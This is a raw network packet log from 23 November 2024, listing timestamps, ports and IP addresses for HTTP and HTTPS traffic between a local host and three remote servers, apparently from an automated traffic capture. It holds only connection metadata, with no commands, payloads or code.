Nov 23, 2024 03:21:24.045557976 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.045614004 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.045644045 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.045659065 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.046116114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.046228886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.046279907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.046705008 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.046816111 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.046859980 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.047131062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.047246933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.047883987 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.047936916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.047993898 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.048022032 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.048032999 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.048142910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.048261881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.048310995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.049149990 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.049221039 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.049225092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.049241066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.049264908 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.049309969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.049698114 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.050200939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.050292969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.050307989 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.050323009 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.050345898 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.050376892 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.051196098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.051318884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.051384926 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.051455021 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.051513910 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.051565886 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.051608086 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.052213907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.052335024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.052392006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.052645922 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.052752018 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.052772045 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.052783966 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.053220034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.053334951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.053772926 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.053837061 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.053937912 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.053976059 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.053993940 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.054244041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.054352045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.054398060 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.055015087 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.055125952 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.055172920 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.055253029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.055349112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.056214094 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.056272984 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.056303024 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.056319952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.056332111 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.056339025 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.056395054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.056435108 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.057301044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.057440996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.057456970 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.057492971 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.057516098 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.057523966 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.058301926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.058343887 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.058412075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.058461905 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.058583975 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.058624983 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.058677912 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.058716059 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.059376001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.059432983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.059784889 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.059834003 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.059979916 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.060008049 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.060019970 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.060344934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.060460091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.060512066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.060981989 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.061043024 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.061084986 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.061376095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.061505079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.061918020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.062154055 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.062196970 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.062254906 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.062293053 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.062510014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.062630892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.063288927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.063349962 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.063379049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.063389063 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.063393116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.063424110 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.064548016 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.064591885 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.064654112 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.064691067 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.065733910 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.065777063 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.065829039 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.065879107 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.067172050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.067198992 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.067228079 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.067241907 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.068109989 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.068208933 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.068253994 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.069298029 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.069452047 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.069499969 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.070489883 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.070540905 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.070590019 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.071681976 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.071737051 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.071780920 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.071824074 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.072868109 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.072916031 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.072978020 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.073025942 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.074049950 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.074105024 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.074150085 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.074192047 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.075244904 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.075284958 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.075351000 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.075467110 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.076425076 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.076474905 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.076531887 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.076605082 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.077616930 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.077666998 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.077749014 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.077822924 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.078814030 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.078870058 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.078916073 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.078953981 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.080029011 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.080073118 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.080108881 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.080157042 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.081192017 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.081250906 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.081283092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.081371069 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.082379103 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.082417965 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.082484961 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.082539082 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.083569050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.083610058 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.083668947 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.083715916 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.084745884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.084789991 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.084845066 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.084984064 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.085952997 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.085999966 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.086055040 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.086107969 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.087152004 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.087203026 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.087255001 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.087358952 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.088324070 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.088376999 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.088429928 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.088486910 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.089512110 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.089612961 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.089638948 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.089679003 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.090719938 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.090807915 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.090857029 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.091892958 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.091936111 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.092000961 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.092044115 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.093067884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.093115091 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.093154907 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.093261003 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.102843046 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.119664907 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.119723082 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.119781971 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.120316982 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.120330095 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.120337963 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.120342016 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.125370026 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.125386953 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.125438929 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.126300097 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.126312017 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.127538919 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.127604008 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.127682924 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.127926111 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.127944946 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.127958059 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.127964973 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.132735968 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.132762909 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.132817030 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.133894920 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:24.133904934 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:24.207838058 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.207885027 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.207959890 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.207998037 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.208414078 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.208539009 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.208589077 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.209572077 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.209610939 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.209681034 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.209850073 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.210746050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.210788965 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.220828056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.220930099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.220988035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.221339941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.221421957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.221474886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.222357988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.222532988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.222579002 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.223350048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.223489046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.223546982 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.224368095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.224483967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.224558115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.225425959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.225464106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.225584030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.226448059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.226569891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.226639032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.227433920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.227539062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.227603912 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.228451014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.228543043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.228595018 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.228946924 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.229459047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.229562044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.229620934 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.230509996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.230624914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.231010914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.231513023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.231616974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.231678963 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.232511044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.232615948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.232666016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.233537912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.233660936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.234015942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.234540939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.234636068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.234761000 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.235626936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.235729933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.235771894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.236588955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.236723900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.236768007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.236886024 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.236927986 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.237035036 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.237082005 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.237493038 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.237570047 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.237629890 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.237648010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.237675905 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.237740040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.237782001 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.238584995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.238714933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.238725901 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.238737106 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.238782883 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.238801956 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.238801956 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.239619017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.239726067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.239767075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.239847898 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.239945889 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.239962101 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.240024090 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.240655899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.240761995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.240809917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.241046906 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.241151094 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.241162062 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.241425991 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.241660118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.241760015 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.241828918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.242242098 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.242286921 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.242332935 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.242368937 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.242671013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.242773056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.242943048 CET	49786	80	192.168.2.4	34.116.198.130
